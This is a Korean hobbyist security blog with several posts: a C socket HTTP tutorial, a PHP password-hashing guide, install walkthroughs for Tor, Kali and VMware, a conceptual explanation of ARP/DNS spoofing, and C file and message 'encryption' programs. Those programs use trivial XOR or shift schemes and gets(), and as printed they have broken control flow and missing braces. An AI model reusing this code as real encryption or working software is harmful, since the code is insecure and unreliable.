저희는 PC 에서 데이터를 저장하고 있기 때문에 리틀엔디안 방식으로 저장이 되죠 그렇기 때문에 빅엔디안 방식으로 변경해 줘야할 필요가 있습니다.

htons() 함수가 그 역활을 담당하고 있죠. 그렇기에 사용해 주는 것 입니다.

send(sock, "GET / HTTP/1.1\r\nHost: www.google.co.kr\r\n\r\n", strlen("GET / HTTP/1.1\r\nHost: www.google.co.kr\r\n\r\n"), 0);

부분의 차례군요 보기만 해도 짜증나시죠?... 이 부분만 하면 90퍼센트 끝입니다. 조금만 더 해보도록 하죠!!

(일단 이 부분은 정형화 되어있기 때문에 저거 그대로 쓰시면 됩니다.)

host 에서 지정해 준 도메인 주소를 socketaddr_in 구조체의 ip 부분으로 옮겨줍니다.

그리고 inet_ntoa 함수를 이용해 주소값으로 변환을 시켜주게 됩니다.

자세한 내용은 아래 링크를 참조해주세요.

링크 : http://mintnlatte.tistory.com/272

이제 끝입니다...!!

send(sock, "GET / HTTP/1.1\r\nHost: www.google.co.kr\r\n\r\n", strlen("GET / HTTP/1.1\r\nHost: www.google.co.kr\r\n\r\n"), 0);

recv(sock,msg,BUFF_SIZE,0);

부분 밖에 남지가 않았네요.

send() 레퍼런스 부터 알아보도록 하죠.

request 구문을 서버로 쏴주는 역활을 하는 작업입니다.

(구문중에 \r\n 이 있는데 이 것이 뜻하는 것은 엔터를 뜻하는 것 입니다.)

int send(int s, const void *msg, size_t len, int flags); 의 형태로 사용이 되어집니다.

자세한 내용은 아래 링크를 참조해주세요.

링크 : http://forum.falinux.com/zbxe/index.php?document_srl=441104&mid=C_LIB

recv() 레퍼런스도 알아보도록 하죠.

int recv(int s, void *buf, size_t len, int flags); 형태로 사용이 되어지고요.

이 함수의 특징은 찾기가 힘드실꺼 같아서 제가 직접 간략하게 포스팅을 하도록 하겠습니다.

recv 의 기능은 send 함수로 request 를 보내면 respond 를 받아오는 역활을 담당하고 있습니다. 해당 레퍼런스를 보시면 버퍼사이즈 만큼의 크기만 받아오도록 설정이 되어있습니다.

만약 버퍼크기를 1024로 가정을 한다고 해보도록 하겠습니다. 그렇다면 받아오는 respond 의 크기가 1024 사이즈보다 크면 어찌할까요?? 의아해 하실겁니다 아마.....ㅎㅎ

recv 의 특징은 만약 respond 가 123456789 라고 가정을 하고 버퍼크기는 5라고 가정을 하겠습니다.

그럼 12345 를 받아오게 되겠죠? 6789 는 그럼 버리게 될까요?? 그게 아닙니다. recv 는 계속해서 6789 를 가지고 있습니다.

그러면 이제 슬슬 감이 잡히실 겁니다 2048 의 크기의 respond 가 들어오면 반복을 이용해서 나머지 부분도 출력을 해주면 되겠죠?

그럼 또! 의아점이 생깁니다. 크기를 모르니깐 무한루프를 돌려야하고 크기가 끝이면 나오는 루틴이 필요한데 이건 어찌 해결을 해야하냐?! 라는 의아점이죠.

recv 의 특징 중 또다른 하나를 사용하면 해결이 가능 합니다.

recv 의 반환값을 살펴보는 것이죠. 만약 respond 의 크기가 50 이면 50을 반환하고 60이면 60을 반환하게 됩니다. 그리고 아무런 값이 존재하지 않을때는 0 을 반환하게 됩니다.

이 특징을 딱 보니 감이 오시죠?!! 무한루틴에 0을 반환하면 탈출! 이라는 루틴을 설정해주면 완벽하게 respond 를 출력 할 수 있게 되는 것이죠.

(상단의 코드는 그 부분이 존재하지 않아 짤리려서 나오게 됩니다. 짤리지 않는 소스는 추후에 업로드 하겠습니다.)

아래 부분은 열어주엇던 소켓들을 닫아주는 작업 입니다. ㅎ

후... 드디어 끝이 났습니다!!!

printf("%s \n",msg);

closesocket(sock);

WSACleanup();

system("pause");

return 0;

C언어 소켓프로그래밍 1편- Http request - response

진짜귀찮음 — Tue, 10 Jan 2017 14:03:12 +0900

C언어 소켓프로그래밍 - Http request - response

참조 사이트 모음

☞ http://mintnlatte.tistory.com/

☞ http://forum.falinux.com/zbxe/?mid=network_programming

☞ http://m.blog.naver.com/sarah7_2000/80203615486

☞ http://kyh1026.tistory.com/76

오랫만에 포스팅을 하네요 ㄷㄷ.... 허허..... 소스설명은 아래쪽에 배치해 두겠습니다.

아마 양에 따라 1~2 편으로 나뉠지도 모르겠네요.

길면 지루해 지거든요. 보기도 힘들고....

Http request - response (C-소스코드)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <stdio.h>
#include <WinSock2.h>
#include <Windows.h>
#pragma comment(lib,"ws2_32.lib")
 
#define BUFF_SIZE 1024
 
int main()
{
    WSADATA wsa;
    struct hostent *host;
    char msg[BUFF_SIZE]; //나중에 결과값을 저장하기 위한 선언
 
    if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0)
    {
        perror("WSAStart Error ");
        system("pause");
        return -1;
    }
 
    SOCKET sock = socket(PF_INET, SOCK_STREAM, 0);
    SOCKADDR_IN addr;
 
    if (sock == INVALID_SOCKET)
    {
        perror("Sock Error ");
        system("pause");
        return -1;
    }
    host = gethostbyname("www.google.co.kr");
 
    addr.sin_family = AF_INET;
    addr.sin_port = htons(80);
    addr.sin_addr.s_addr = inet_addr(inet_ntoa(*(struct in_addr*)*host->h_addr_list));
 
    if(connect(sock,(SOCKADDR*)&addr,sizeof(addr)) == SOCKET_ERROR) 
    {
        printf("Not Connect \n");
        system("pause");
        return 1;
    }
    send(sock, "GET / HTTP/1.1\r\nHost: www.google.co.kr\r\n\r\n", strlen("GET / HTTP/1.1\r\nHost: www.google.co.kr\r\n\r\n"), 0);
    recv(sock,msg,BUFF_SIZE,0);
 
    printf("%s \n",msg);

    closesocket(sock);
    WSACleanup();
    system("pause");
    
    return 0;
}
Colored by Color Scripter
cs

Http request - response 실행화면

Http request - response 소스설명

#include <WinSock2.h>

일단 소켓프로그래밍을 하기 위해 아래와 같이 WinSock2.h 가 필요합니다.

그리고 아래와 같이 전처리기를 하나 선언 해 줍니다.

#pragma comment(lib,"ws2_32.lib")

pragma comment 전처리기는

#pragma comment(comment -type,["comment string"]) 의 형식을 이용해서 사용돼 집니다.

(이 방법이 아니면 프로젝트 속성에서 링커 설정해 주는 방법도 있습니다. 위가 편하더라구요.)

제가 선언한 것 처럼 라이브러리를 선언해주는 게 가장 일반 적인 방법이라고 하더군요.

자세한 내용은 아래 블로그 링크를 참조해 주시면 될 듯 합니다. 정리를 잘 해두었더군요.

☞ http://kyh1026.tistory.com/76

이제 소켓을 본격적으로 만들어 볼 거에요 ㅎ

WinSock2.h 안에 있는 WSADATA 구조체를 불러와 초기화를 해줍니다. 무조건 해주어야하는 작업이에요. 소켓을 위해 ㅠ

WSADATA wsa;

WSAData 구조체에 들어가 있는 내용들이에요 MS 홈페이지에서 가져 온 내용이에요.

한번 레퍼런스에 대해 읽어보시는 것도 괜찮다고 생각되서 가져 왔습니다.

링크 걸어 드릴게요 ㅎ

☞ https://msdn.microsoft.com/ko-kr/library/37k8e5x7(v=vs.110).aspx

struct WSAData {
   WORD wVersion;
   WORD wHighVersion;
   char szDescription[WSADESCRIPTION_LEN+1];
   char szSystemStatus[WSASYSSTATUS_LEN+1];
   unsigned short iMaxSockets;
   unsigned short iMaxUdpDg;
   char FAR * lpVendorInfo;
};

이제 윈속을 초기화가 되었으니 열어준다? 시작해준다? 어떤 표현이 더 적절한지 음......

아무튼 전 연다는 표현으로 진행하도록 하겠습니다.

(정확한 표현은 댓글로 부탁드리겠습니다...ㅠ 허허.... 굽신굽신...)

아래 코드는 소켓을 열어준 후 소켓 버젼을 비교해주는 코드 입니다.

이게 버젼이 맞으면 0 을 반환 하게 됩니다. 그렇기 때문에 0 이 아니면 오류가 발생 했다!!

라고 볼 수 있는 것이죠.

(지금은 간단한 소켓이지만 복잡해 지면 오류 내용이 매우 중요하다고 합니다.)

    if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0)

{

        perror("WSAStart Error ");

        system("pause");

        return -1;

}

일단 WSAStartup 의 구조체는 이런 모양으로 생겼군요.

☞ https://msdn.microsoft.com/ko-kr/library/windows/desktop/ms742213(v=vs.85).aspx

int WSAStartup(
  _In_  WORD      wVersionRequested,
  _Out_ LPWSADATA lpWSAData
);

이제 MAKEWORD(2, 2) 에 대해 알아보도록 하죠.

WinSock2.h 파일 안의 매크로 중 하나 입니다. (주버젼, 보조버젼) 의 형식으로 사용 됩니다.

헤더파일 내부의 메크로 소스를 가져 와 보았습니다.

#define MAKEWORD(low,high) \

((WORD)(((BYTE)(low)) | ((WORD)((BYTE)(high))) << 8))

이때 왜 하필 버젼이 2 냐? 라는 의문점을 가질 수 가 있겠죠? 제가 그랬거든요... 허허...

버젼 막 9 도 너어보고 막 넣어 보았는데 오류는 나오지 않더라구요.... 이상하게시리........

근데 2.2 이것을 사용하는 것이 가장 좋을 듯 보이네요.

궁금해서 해더 파일에서 찾아보았는데 83-85 라인에서 이것을 발견 했습니다.

#ifndef WINSOCK_VERSION

#define WINSOCK_VERSION MAKEWORD(2,2)

#endif

이래서 다들 2.2 로 입력해서 사용하시는 것 같아요.

이제는 아래 코드에대해 알아 보도록 하죠.

- 이 코드를 끝으로 1편을 끝낼 생각입니다.

    SOCKET sock = socket(PF_INET, SOCK_STREAM, 0);

    SOCKADDR_IN addr;

SOCKET 변수 로 소켓을 생성해볼까요?

레퍼런스: int socket(int domain, int type, int protocol); 으로 사용됩니다.

● PF_INET 는 IPv4 프로토콜을 뜻함.

● SOCK_STREAM 은 연결지향을 뜻함. (SOCK_DGRAM 은 비연결성을 뜻함)

● 0 은 특정 프로토콜을 사용하는 부분인데 보통 0을 쓴다고 합니다.

socket() 에 관련해 제가 참조한 사이트를 링크 걸겠습니다.

정말 자세하게 나와있으므로 세부적인 부분은 여기서 공부하시면 될 듯 합니다.

☞ http://forum.falinux.com/zbxe/index.php?document_srl=429387&mid=C_LIB

이제 SOCKADDR_IN 구조체는 구조체 내용만 보고 다음 2편에서 계속 다루도록 하겠습니다.

(생각보다 더 길어졌네요.....)

struct sockaddr_in{
   short sin_family;
   unsigned short sin_port;
   struct in_addr sin_addr;
   char sin_zero[8];

};

레퍼런스 MS 링크

☞ https://msdn.microsoft.com/ko-kr/library/zx63b042(v=vs.110).aspx

2편에서 계속!!

키사 _ 13회 Hdcon 개최!

진짜귀찮음 — Wed, 5 Oct 2016 00:57:40 +0900

Kisa 주최 HDCON 2014

참가신청 바로 가기

php 패스워드 암호화 DB저장

진짜귀찮음 — Sun, 21 Aug 2016 16:05:30 +0900

출처입니다. 그대로 가져왔습니다.(혹시 사라질까봐 ㅠ)

자세한 내용은 아래 링크를 이용해주세요

http://www.phpschool.com/gnuboard4/bbs/board.php?bo_table=tipntech&wr_id=78316

1. scrypt

암호화 백업 서비스 tarsnap을 운영하는
캐나다 프로그래머 콜린 퍼시벌(이름이 웬 ㅅㅂ이냐)이 개발한 암호화 알고리듬입니다.
뚫기 어려운 걸로 말하자면 비교 대상이 없는 막강한 알고리듬이지만,
너무 최신이라 PHP에서는 전혀 사용할 수 없으므로 패스.

===============================================================================================

2. bcrypt

해외에서 비밀번호 암호화에 대해 물어보면 즉시 돌아오는 모범답안입니다.
예전부터 널리 사용되어 온 blowfish 양방향 암호화 알고리듬을 단방향으로 개조한 것으로,
위에 언급한 scrypt를 제외하면 가장 막강한 후보입니다.

PHP 5.5 이상에서는 아예 bcrypt 암호화 함수를 내장하고 있으므로
아래와 같이 간단하게 사용 가능합니다.

암호화: $hash = password_hash($password, PASSWORD_DEFAULT);
여기서 반환하는 $hash 값을 DB에 저장해 두었다가 아래에서 확인하는 데 씁니다.

확인: if (password_verify($password, $hash)) {
// 비밀번호가 맞음
} else {
// 비밀번호가 틀림
}

PHP 5.3.7 이상에서는 아래 링크의 파일을 인클루드한 후, 위와 똑같은 방법으로 쓰면 됩니다.
위에서 사용한 내장 함수와 100% 호환됩니다.
https://github.com/ircmaxell/password_compat/blob/master/lib/password.php

그러나 대부분의 국내 웹호스팅에 설치되어 있는 PHP 5.2 버전에서는 bcrypt를 쓸 수가 없어요 ㅠㅠ
예전부터 돌아다니던 phpass라는 라이브러리도 bcrypt를 지원한다고 하는데,
이건 PHP 버전에 따라 그냥 md5() 함수를 사용해 버리기도 하더군요. 절대 비추입니다.

그럼 어떻게 해야 할까요?

==============================================================================================

3. PBKDF2

RFC 2898에 규정되어 있으며, 세계 각국의 정부와 민간기업에서 오래 전부터 표준으로 쓰고 있는 알고리듬입니다.
수많은 전문가들의 검증을 거쳤기 때문에 이거 썼다고 나무랄 사람은 아무도 없다는 것이 최대 장점이죠.

게다가 bcrypt와 달리, 이건 PHP 5.1, 5.2 등에서도 대부분 사용이 가능합니다.
흔히 쓰는 mcrypt 라이브러리가 설치되어 있고,
hash_algos() 함수의 반환값 중 sha256이 포함되어 있는지만 확인하면 됩니다.

표준 포맷을 PHP로 구현하는 소스는 아래의 주소에서 다운받아 인클루드하세요.
https://github.com/defuse/password-hashing/blob/master/PasswordHash.php

PHP 4.4, 5.0에서는 위의 소스가 동작하지 않으므로 제가 만든 소스를 사용하세요. 물론 100% 호환됩니다.
http://www.phpschool.com/link/tipntech/78825

최신 슈퍼컴퓨터로도 뚫기 어려운 강력한 보안을 원하시면
PBKDF2_ITERATION 상수를 10000 정도로 바꿔주시는 것이 좋습니다.
기본값은 1000 인데, 이건 아주 옛날에 쓰던 설정이라 요즘은 너무 낮다는 평가를 받아요.
그러나 너무 높게 잡아놓으면 느려지므로 주의하세요.

암호화: $hash = create_hash($password);
여기서 반환하는 $hash 값을 DB에 저장해 두었다가 아래에서 확인하는 데 씁니다.

확인: if (validate_password($password, $hash)) {
// 비밀번호가 맞음
} else {
// 비밀번호가 틀림
}

===============================================================================================

[부록] "저는 이미 md5() 쓰는데요? 이거 복호화도 안되는데 어떻게 bcrypt나 PBKDF2로 바꾸죠?"

이런 질문 하실 분이 많을 것 같아서 부록을 준비했습니다.
지금 쓰시는 알고리듬이 md5(), sha1(), 또는 비슷한 함수들의 조합이라면
아래와 같이 하시면 됩니다.

- 변환 작업 들어가기 전에 DB의 비밀번호 필드 자료형을 확인하고, 필요하다면 자료형을 바꿉니다.
예를 들어 md5() 함수는 항상 32바이트를 반환하므로 CHAR(32)로 해두셨을지도 몰라요.
그런데 bcrypt와 PBKDF2는 경우에 따라 60바이트 이상 반환하기도 합니다.
잘리지 않도록 필드 길이를 늘려주세요. VARCHAR(100) 정도 해두면 어떤 알고리듬이라도 넉넉합니다.

- 기존의 회원 비밀번호는 암호화된 상태 그대로 bcrypt나 PBKDF2를 적용합니다.
미리 복호화할 필요 없어요.

- 새로 가입하거나 비번 변경하는 회원은 기존의 알고리듬 한 번, 새 알고리듬 한 번, 이렇게 두 번 연달아 적용합니다.
예를 들어 XE처럼 md5(sha1(md5($password))) 이런 방식이었다면
password_hash(md5(sha1(md5($password)))) 이렇게 함수를 하나 더하는 거죠.
그러면 기존의 회원 비밀번호와 동일한 형식으로 통일되겠죠?

- 비밀번호 체크할 때도 똑같이 하면 됩니다. 알고 보니 쉽죠?
예를 들면 if (password_verify(md5(sha1(md5($password))), $hash))

- 함수를 여러 개 쓰면 느려지지 않냐고요?
md5() 수천 번 돌려봤자 bcrypt나 PBKDF2 한 번 돌리는 것보다 시간 적게 걸립니다.
bcrypt나 PBKDF2는 딱 한 번만 돌리세요. 나머지는 아무리 많이 돌려봤자 차이를 느낄 수 없습니다.

- 주의!!! 기존의 알고리듬이 "솔트"를 사용하고 있다면 위와 같이 쉽게 변환할 수 없습니다. 예: crypt() 함수
이 경우는 좀더 복잡한 과정을 거쳐야 하고, 잘못하면 다 틀려지니 주의하세요.
만약 솔트가 뭔지 모르신다면 해당 없습니다.

Tor 브러우저 설치 (토르브라우저 다운로드-공식홈페이지)

진짜귀찮음 — Tue, 12 Jul 2016 16:56:17 +0900

Tor 브라우저 설치하기

토르브라우저 공식홈페이지 : https://www.torproject.org/index.html.en

Tor 공식홈페이지 메인화면 입니다. 영어로 되있네요...

(영어 울렁증.... )

다운로드 하는 표시가 대문에 훤히 보이네요. 클릭해서 들어가주도록 합시다.

위에 사진 말풍선에도 보이시듯 언어를 Korea로 변경하신 후 설치해주시길 바랍니다.

(저희는 한국인이니 까요~)

그렇죠. 설치된 파일을 실행하시면 이제 설치가 시작됩니다.

허허 (다 아시겠지만...ㅎㅎ)

초기값이 Korean 으로 잡혀있으시겠지만

그렇지 않으시면 변경후 'OK' 를 클릭!

착실하게 PC 가 일을 하면서 설치를 하고 있군요.

설치가 다 되시면 설치프로그램을 마쳐 줍시다.

Tor 브라우저 실행하기

설치가 끝나실 때 바로 실행하기 체크하시면 아래 사진과 같이 바로 실행 되시겠지만

그렇지 않으신 분들은 따로 '실행' 을 해줍시다

그 다음 '연결' 을 눌러줍시다 그럼 아래 같은 사진으 뜨실텐데요

여기서 은근히 시간이 소요되니기다려 줍시다.

(너무 느리네요...)

로딩바가 다 차시면 기다리던 토르 브라우저를 사용하시면 되겠습니다.

(하.... 역시 굉장히 서핑이 느리군요 ㅎ 하지만...ㅎㅎㅎㅎㅎㅎㅎㅎㅎㅎㅎㅎ)

칼리리눅스 최신버젼 설치법 (공식 사이트 설치)

진짜귀찮음 — Fri, 1 Jul 2016 20:56:17 +0900

칼리 리눅스 다운로드 하기

요즘 백트랙 보다 이것을 많이 쓰죠 백트랙 진화 버젼이기도 하다보니 그런것 같네요.

서론은 그만두고 이제 설치 방법에 대해 포스팅 해보겠습니다.

칼리리눅스 공식 홈페이지 : https://www.kali.org/

메인홈페이지 접속하시면 가장 먼저 보이실 겁니다.

조금 스크롤를 쭈욱 내리시다 보면 아래와 같은 화면을 찾으실수 있으실 겁니다.

일일이 찾아가시기 귀찮으시니깐!!!!

다운로드 페이지 포탈: https://www.kali.org/downloads/

위 사진에 여라가지 메뉴가 있는데 취향에 맞춰서 설치해 주시면 되십니다~~~

칼리 리눅스 설치하기

색칠되있는 생성을 클릭해줍니다.

그러시면 아래처럼 막 설정하는것이 나올겁니다.

적당히 취향에 맞게 설정해주시고 피니쉬를 해줍시다..!!

언어설정 해주시고 나머지는 취향에 맞게!! ㅎㅎ

(귀찮으시면 다 '예' 하시는게 가장 편하십니다 그래도 완벽하게 하자없이 설치됩니다! 허허)

★ 네 한국어를 선택하시면 설치가 완료 되셨을때 화면이 깨진거 처럼 나오실 겁니다!!

(칼리리눅스 한글 패치 바로가기!)

※ 아래사진은 영어로 완벽하게 설치된 화면입니다.

VM 웨어 설치하기-무료버젼

진짜귀찮음 — Tue, 28 Jun 2016 23:39:20 +0900

오늘은 VM 웨어 설치에 대해서 포스팅을 해보려고 합니다. (당연히 무료 버젼입니다.)

VM 웨어 설치하기

대표홈페이지 : http://www.vmware.com/kr

메인화면 적당량 나누어서 캡처해 봤습니다.

캡처사진에도 보이시듯 다운로드 메뉴가 떡 하니 보이는군요.

(메인화면에서 밑으로 스크롤 내리스면 보이실거에요 )

음.... 포스팅 하면서 생각이 났는데 귀찮으실꺼 같네요... 바로 다운링크를 그냥 업로드 하겠습니다!

다운로드 링크!!

-> https://www.vmware.com/kr/products/workstation/workstation-evaluation.html

아래 사진과 같은 곳으로 들어가 질 겁니다~~

취향에 맞게 설치해 주시면 됩니다.

VM 웨어 설치 화면

그냥 뭐 적당히 체크박스 조절해 가시면서 Next 눌러주시면 설치 로딩 창이 뜨겠죠? 허허.....

캡처찍기 귀찮아서 넘긴건 아니에요ㅠㅎㅎ

네!!! 이제 로딩?이 끝나면 중요한 부분이 떡하니 나오게 됩니다

라이센스로 넘어간 화면 입니다. 전 없으니 스킵을 누르도록 하겠습니다.

그럼 설치가 완료 됩니다.

VM 웨어 구동 화면

네 정상적으로 작동하는 VM 웨어를 보실 수가 있으실 겁니다.!!

※ 아 VM 웨어 포스팅 하다가 발견한 기사인데 한번 참조 해 보시는것도 좋으 실것 같습니다.

(VM 웨어 회사의 관한 내용입니다. 개발자들을 전부 해임 시켰다고 하네요.......)

기사링크 : http://macnews.tistory.com/4106

c언어 파일 암호화 복호화

진짜귀찮음 — Fri, 30 May 2014 21:11:14 +0900

c언어 파일 암복호화 소개

저번에 올렸던 c언어 암복호화 프로그램은 텍스트 파일만을 암복호화가 가능하였다. 하지만 오늘 올린 이 프로램은 그 어떠한 파일도 암복호화를 할 수 있다. 이진파일을 불러들일 수 있다.

※소스파일이 필요하신 분은 메일 주시면 확인 후 바로 발송해 드리겠습니다.

프로그램 소스

#include <stdio.h>

#include <string.h>

#include <Windows.h>

void Menu();

void FileEncoding();

void FileDecoding();

void main()

{

Menu();

}

void Menu()

{

int choice;

for(;;)

{

printf("1. 파일 암호화\n2. 파일 복호화\n5. 종료\n\n");

printf("입력 : ");

scanf("%d",&choice);

if(choice<3)

{

break;

}

else

{

continue;

}

switch(choice)

{

case 1:

FileEncoding();

break;

case 2:

FileDecoding();

break;

case 3:

exit(1);

}

void FileEncoding()

{

FILE * FileCreat=NULL;

int File;

char Type[27];

system("cls");

printf("※ 확장자 까지 입력하여 주셔야 합니다.\n");

getchar();

for(;;)

{

printf("암호화 할 파일을 입력 해 주십시오 : ");

gets(Type);

FileCreat=fopen(Type,"rb");

if(FileCreat==NULL)

{

printf("\n파일이 존재하지 않습니다.\n");

continue;

}

else

{

FILE * CreatFile;

char NameType[27];

printf("\n생성 될 파일명을 적어주세요 : ");

gets(NameType);

CreatFile=fopen(NameType,"wb");

while ( (File = fgetc(FileCreat)) != EOF )

{

File^=13;

printf(".");

fputc(File,CreatFile);

}

fclose(CreatFile);

printf("\n\n암호화 완료! 프로그램을 종료 합니다\n");

break;

}

fclose(FileCreat);

}

void FileDecoding()

{

FILE * DeCodFileCreat=NULL;

int File;

char DeType[27];

system("cls");

printf("※ 확장자 까지 입력하여 주셔야 합니다.\n");

getchar();

for(;;)

{

printf("복호화 할 파일을 입력 해 주십시오 : ");

gets(DeType);

DeCodFileCreat=fopen(DeType,"rb");

if(DeCodFileCreat==NULL)

{

printf("\n파일이 존재하지 않습니다.\n");

continue;

}

else

{

FILE * DeCodCreatFile;

char DeCodNameType[27];

printf("\n생성 될 파일명을 적어주세요 : ");

gets(DeCodNameType);

DeCodCreatFile=fopen(DeCodNameType,"wb");

while ( (File = fgetc(DeCodFileCreat)) != EOF )

{

File^=13;

printf(".");

fputc(File,DeCodCreatFile);

}

fclose(DeCodCreatFile);

printf("\n\n복호화 완료! 프로그램을 종료 합니다\n");

break;

}

fclose(DeCodFileCreat);

}

GapCry.exe

※ 우클릭 해제 하였으니 맘껏 사용해 주세요!!!ㅋㅋ

Arpspoofing and Dnsspoofing Attacking 시연

진짜귀찮음 — Tue, 25 Feb 2014 17:52:56 +0900

본 동영상은 교육적인 목적으로 업로드 하였으며 개인의 잘못된 윤리의식으로 발생한 모든 법적인 책임은 본인이 가지며, '신사과 블로그' 에서는 법적인 대변에 무고함을 사전에 알려드립니다.

해킹기법중 기법중 하나인Arpspoofing 와 Dnsspoofing 을 다들 잘 알고 있으실 것이라고 생각합니다.

Arpspoofing 란?

ARP 프로토콜에서 공격자가 공격대상에게 자신을 Gateway라고 arp패킷에 대한 reply응답을 지속적으로 보내어 공격대상의 arp table에 Gateway가 자신이라고 속여 해당 MAC주소를 공격자 MAC주소로 바꾸는 공격이다.

이로 인해 공격대상은 웹서버에 접속할 때 공격자의 PC를 거쳐서 나가게 된다.( 이를 통하여 DNS Spoofing 공격을 하여 공격대상의 패킷을 중간에 가로채서 접속하고자하는 웹사이트를 공격자가 원하는 사이트로 바꿀수 있게된다.)

Arpspoofing and Dnsspoofing Attacking 시연 동영상

C 언어로 만든 암호화 복호화프로그램

진짜귀찮음 — Fri, 3 Jan 2014 16:48:28 +0900

안녕하세요 오랫만에 포스팅을 하게 되었네요.ㅎㅎ

오늘은 C 언어로 간단하게 만든 암호화 복호화 프로그램을 올리도록 하겠습니다.

암호화 복호화 프로그램 소개

초기 접근 권한은 신사과 입니다.

프리미엄 사용자로 넘어가기 위해서는 또 다른 접근권한이 필요하게 됩니다. 이때는 첨부한 vippasswd.dat 파일이 프로그램 exe 파일과 같은 위치에 저장되어 있어야 접근 권한을 입력 받는 곳으로 넘어가게 됩니다. 만약 파일이 없다면 다시 초기 화면으로 넘어가게 됩니다.

소스코드

#include <stdio.h>

#include <string.h>

#include <Windows.h>

void menu();

void lock();

void nomal();

void vip();

void nomalcry(char *str);

void nomalkey();

void vipcry(char *str);

void vipkey();

void vippass();

void main()

{

lock();

}

void lock()

{

char pass[50];

char passke[]="신사과";

printf(" ★★\n");

printf(" ◎ ◎\n");

printf(" ■■■■■■■■■■■■■\n");

printf(" ■**********************■\n");

printf(" ■*******■■■■■*****■\n");

printf(" ■*******■ ■*****■\n");

printf(" ■*******■ ♨■*****■\n");

printf(" ■*******■ ■*****■\n");

printf(" ■*******■■■■■*****■\n");

printf(" ■**********************■\n");

printf(" ■■■■■■■■■■■■■\n\n\n");

printf("접근 권한 입력 : ");

scanf("%s",pass);

getchar();

if(!strcmp(pass,passke))

{

menu();

}

else

{

printf("\n허가된 사용자가 아닙니다!!!!\n");

exit(0);

}

void menu()

{

int i=0;

system("cls");

for(;;)

{

system("cls");

printf(" \n\n\n\n\n\n ------ ㈜ 암호화 프로그램 ------ \n");

printf("§ §\n");

printf("§ 1. 일반 사용자 §\n");

printf("§ §\n");

printf("§ 2. 프리미엄 사용자 §\n");

printf("§ §\n");

printf("§ 3. 종료 §\n");

printf("§ §\n");

printf(" --------------------------------\n");

printf("\n숫자 입력 : ");

scanf("%d",&i);

getchar();

if(i<=3)

{

break;

}

else

{

continue;

}

switch(i)

{

case 1:

nomal();

case 2:

vippass();

case 3:

exit(0);

}

void nomal()

{

int i=0;

char str[1000];

system("cls");

for(;;)

{

printf("\n\n\n▣ ▣ ▣▣ ▣ ▣ ▣▣ ▣\n");

printf("▣▣ ▣ ▣ ▣ ▣▣ ▣▣ ▣ ▣ ▣\n");

printf("▣ ▣ ▣ ▣ ▣ ▣ ▣ ▣ ▣ ▣ ▣ ▣\n");

printf("▣ ▣ ▣ ▣ ▣ ▣ ▣▣ ▣ ▣▣▣▣▣ ▣\n");

printf("▣ ▣ ▣▣ ▣ ▣ ▣ ▣ ▣ ▣▣▣▣▣\n");

printf("=====================================================================\n\n");

printf("1. 메세지 입력\n\n");

printf("2. 암호화\n\n");

printf("3. 복호화\n\n");

printf("4. 메인메뉴\n");

printf("\n숫자 입력 : ");

scanf("%d",&i);

if(i>4)

{

continue;

}

switch(i)

{

case 1:

printf("메세지를 입력해 주십시오. \n");

getchar();

gets(str);

break;

case 2:

nomalcry(str);

break;

case 3:

nomalkey();

break;

case 4:

menu();

break;

}

void nomalcry(char *str)

{

int i=0;

FILE *fp=NULL;

fp=fopen("nomal.txt","wt");

printf("\a\a\a\a");

while(str[i]!=NULL)

{

str[i]+=34;

i++;

}

fputs(str,fp);

fclose(fp);

}

void nomalkey()

{

int i=0;

char mo[10000];

FILE *fp=NULL;

fp=fopen("nomal.txt","rt");

if(fp==NULL)

{

puts("암호화된 메세지가 존재하지 않습니다.");

nomal();

}

fgets(mo,sizeof(mo),fp);

while(mo[i]!=NULL)

{

mo[i]-=34;

i++;

}

printf("\n복호화 완료 \n%s \n",mo);

fclose(fp);

}

void vippass()

{

int i=0;

char key[20];

char pas[20];

int ke=2014;

FILE *fp;

fp=fopen("vippasswd.dat","r");

if(fp==NULL)

{

puts("VIP 패스워드 파일이 존재하지 않습니다!!!\n\n\a\a\a\a");

lock();

}

fgets(pas,sizeof(pas),fp);

printf("VIP 접근권한을 입력해 주십시오 :");

scanf("%s",key);

getchar();

while(pas[i]!=NULL)

{

pas[i]^=ke;

i++;

}

if(!strcmp(pas,key))

{

vip();

}

else

{

printf("VIP 접근권한이 아닙니다!!\n\n\a\a\a\a");

lock();

}

fclose(fp);

}

void vip()

{

int i=0;

char str[1000];

system("cls");

for(;;)

{

printf("\n\n▣ ▣ ▣ ▣▣▣\n");

printf(" ▣ ▣ ▣ ▣ ▣\n");

printf(" ▣ ▣ ▣ ▣▣▣\n");

printf(" ▣ ▣ ▣ ▣\n");

printf(" ▣▣ ▣ ▣\n\n");

printf("▤▤▤▤▤▤▤▤▤▤▤▤▤▤▤\n\n");

printf("1. 메세지 입력\n\n");

printf("2. 암호화\n\n");

printf("3. 복호화\n\n");

printf("4. 메인메뉴\n");

printf("\n숫자 입력 : ");

scanf("%d",&i);

if(i>4)

{

continue;

}

switch(i)

{

case 1:

printf("메세지를 입력해 주십시오. \n");

getchar();

gets(str);

break;

case 2:

vipcry(str);

break;

case 3:

vipkey();

break;

case 4:

menu();

break;

}

void vipcry(char *str)

{

int i=0;

int xor=229;

FILE *fp=NULL;

fp=fopen("vip.txt","wt");

printf("\a\a\a\a");

while(str[i]!=NULL)

{

str[i]+=13;

str[i]^=xor;

str[i]=~str[i];

i++;

}

fputs(str,fp);

fclose(fp);

}

void vipkey()

{

int i=0;

int xor=229;

char mo[10000];

FILE *fp=NULL;

fp=fopen("vip.txt","rt");

if(fp==NULL)

{

puts("암호화된 메세지가 존재하지 않습니다.");

vip();

}

fgets(mo,sizeof(mo),fp);

while(mo[i]!=NULL)

{

mo[i]=~mo[i];

mo[i]^=xor;

mo[i]-=13;

i++;

}

printf("복호화 완료 \n%s\n\n",mo);

fclose(fp);

}

다운파일

vippasswd.dat

GAP-Cry.exe

소스는 오픈소스입니다.

소스파일을 원하시는 분은 덧글로 메일 주소를 남겨주시길 바랍니다. 확인하 는 즉시 소스파일을 메일로 전송해 드리도록 하겠습니다.

2013년 방문 컨퍼런스 정리

진짜귀찮음 — Fri, 6 Dec 2013 00:28:21 +0900

2013년 방문 컨퍼런스 정리

Connectify Hotspot 노트북 와이파이존을 만들어보자! 사용법 및 다운

진짜귀찮음 — Wed, 18 Sep 2013 21:07:42 +0900

